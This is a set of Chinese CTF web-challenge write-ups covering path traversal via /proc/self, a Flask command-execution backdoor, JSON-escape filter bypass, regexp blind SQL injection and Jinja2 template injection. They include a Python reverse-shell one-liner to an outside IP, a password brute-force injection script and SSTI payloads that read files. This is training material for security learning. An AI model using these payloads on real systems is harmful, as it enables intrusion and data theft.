文章目录
[网鼎杯 2020 白虎组]PicDown
知识点
- 文件读取
- python代码审计
- 反弹shell
- 文件描述符
- /proc/self/目录的意义
我们都知道可以通过/proc/$pid/来获取指定进程的信息,例如内存映射、CPU绑定信息等等。如果某个进程想要获取本进程的系统信息,就可以通过进程的pid来访问/proc/$pid/目录。但是这个方法还需要获取进程pid,在fork、daemon等情况下pid还可能发生变化。为了更方便的获取本进程的信息,linux提供了/proc/self/目录,这个目录比较独特,不同的进程访问该目录时获得的信息是不同的,内容等价于/proc/本进程pid/。进程可以通过访问/proc/self/目录来获取自己的系统信息,而不用每次都获取pid。
WP
看url考虑目录穿越,尝试读这些
/proc/self/environ
/proc/self/cmdline
url=…/…/…/proc/self/cmdline可以读取到python2 app.py,再利用/proc/self/cwd/app.py读取到源文件
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib
app = Flask(__name__)
SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)
@app.route('/')
def index():
return render_template('search.html')
@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)
@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"
return res
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
在no_one_know_the_manager可以进行系统命令执行,尝试python反弹shell
?key=YBb%2FolIX5h4ChHDJYy%2BhypD0MtKjJyIs3fI3Jbma1SY%3D&shell=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("118.***.***.***",39555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
监听端口cat后得到flag。
[HarekazeCTF2019]encode_and_encode
知识点
- json字符转义
WP
<?php
error_reporting(0);
if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}
function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}
$body = file_get_contents('php://input'); #body获取post数据
$json = json_decode($body, true); #对body变量进行json解码
if (is_valid($body) && isset($json) && isset($json['page'])) {#判断body变量是否有效,json数据要有page
$page = $json['page'];
$content = file_get_contents($page); #从page中读出文件名,并读取文件
if (!$content || !is_valid($content)) {#检查content是否有效,即不能明文传输flag文件,利用php伪协议绕过
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}
// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);#如果查到content里有相关的ctf字样,则用censored替代
echo json_encode(['content' => $content]);#最后将json编码后的content输出
使用php伪协议并进行json编码
payload:
[b01lers2020]Welcome to Earth
发现页面会自动跳转到/die/,尝试抓包,按照提示最终访问到fight.js
发现flag数组被打乱了,重新排序:
from itertools import permutations
flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]
item = permutations(flag)
for i in item:
k = ''.join(list(i))
if k.startswith('pctf{hey_boys') and k[-1] == '}':
print(k)
说明:
itertools.permutations():就是返回可迭代对象的所有数学全排列方式
itertools.permutations()
它以任意迭代作为参数,并始终返回生成元组的迭代器。它没有(也不应该)特殊的字符串。要获得字符串列表,您可以自己加入元组:
list(map("".join, itertools.permutations(‘1234’)))
[NCTF2019]SQLi
知识点
- regexp正则注入
regexp用来匹配文本,不区分大小写,可以从头开始一位一位进行爆破
空格由/**/,or可以用||代替
payload大致为:
username=\
passwd=||/**/passwd/**/regexp/**/"^a"
由于末尾的单引号并未闭合,所以要用到%00作为一个截断的作用来代替# 和-- -这类注释符
passwd=||/**/passwd/**/regexp/**/"^a";%00&username=\
-
%00注释
该符号不是MySQL的注释符,但PHP具有%00截断的漏洞,有些函数会把%00当做结束符,也就起到了注释掉后面代码的作用。 (比如文件上传中的00截断漏洞) -
python输入不可见字符
在Python脚本中的使用:Python访问浏览器,会进行一次URL编码, 因此参数中的URL编码在服务端并不会解码,#等可打印字符直接在参数中输入字符即可,但不可打印字符如%00就需要进行格式处理。
可以使用parse.unquote(’%00’),或者chr(0),二者都需要使用.format()进行格式化输出。完整格式.format(parse.unquote(’%00’))或.format(chr(0))。
WP
扫描目录得到提示hint.txt:
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";
If $_POST['passwd'] === admin's password,
Then you will get the flag;
采用Regexp注入对password进行逐位爆破,
import string
import requests
from urllib import parse
passwd = ''
string = string.ascii_lowercase + string.digits + '_'
url = 'http://37be292f-206d-4193-acaf-e1b27935892a.node4.buuoj.cn/index.php'
for n in range(100):
for m in string:
data = {
"username" : "\\",
"passwd" : "||/**/passwd/**/regexp/**/\"^{}\";{}".format((passwd+m),parse.unquote('%00'))
}
res = requests.post(url,data=data)
if 'welcome' in res.text:
passwd += m
print(m)
break
if m == '_' and 'welcome' not in res.text:
break
print(passwd)
获取密码后输入得到flag
[watevrCTF-2019]Cookie Store
发现所给的金额不够得到flag,抓包,修改session处的值使money为500,在右侧session处解码得到flag.
将编码后的值写在左侧session处,send
解码:
BUUCTF [RootersCTF2019] I_<3_Flask
知识点
- Jinjia2模版注入
- Arjun参数爆破工具
- tplmap模版注入工具
WP
猜测是模板注入,利用Arjun工具进行参数爆破
爆出参数是name
直接SSTL 模板注入
?name={{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
?name={{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}
或者
?name={{lipsum.__globals__.os.popen('cat flag.txt').read()}}
也可以用SSTI工具tplmap进行扫描